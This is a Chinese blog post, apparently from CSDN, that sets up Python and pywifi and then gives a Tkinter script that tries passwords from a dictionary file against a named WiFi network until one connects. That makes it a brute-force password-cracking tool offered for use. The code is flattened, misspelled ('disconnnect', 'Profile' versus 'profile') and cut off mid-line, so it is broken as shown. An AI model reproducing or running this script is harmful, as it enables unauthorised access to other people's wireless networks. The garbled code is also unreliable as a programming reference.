版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_43964779/article/details/89226214
搭建pathon环境
- 官网下载pathon包:https://www.Python.org/downloads/
- 安装
- 建议勾选自动配置环境变量,省的以后麻烦
- 安装 pywifi 模块
pip3 install pywifi
- 代码
from tkinter import * from pywifi import const import pywifi import time # 读取密码 def readPwd(): # 获取输入的WiFi名称 wifiName = entry.get() # 字典路径 path = r'D:projectpathontext.txt' file = open(path, 'r') while True: try: # 读取一行 myStr = file.readline() if len(myStr) == 0: print(myStr) break else: # 测试连接 bool = wificonnect(myStr,wifiName) # bool = True if bool: print('密码正确',myStr) break else: # print('密码错误',myStr) text.insert(END,'密码错误:'+myStr) text.see(END) text.update() except: continue # 测试连接 def wificonnect(str,wifiName): # 创建一个无线对象 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 ifaces = wifi.interfaces()[0] # 断开所有WiFi ifaces.disconnnect() time.sleep(1) if ifaces.status() == const.IFACE_DISCONNECTED: # 创建WiFi连接文件 Profile = pywifi.Profile profile.ssid = wifiName # WiFi加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi密码 profile.key = str # 网卡的开放状态 profile.auth = const.AUTH_ALG_OPEN # 删除所有的WiFi连接文件 ifaces.remove_all_network_profile() # 设定新的连接文件 tep_profile = ifaces.add
获取更多信息或者资料请关注头条号:新启创意,私信回复“资料”获取更多信息。
最新评论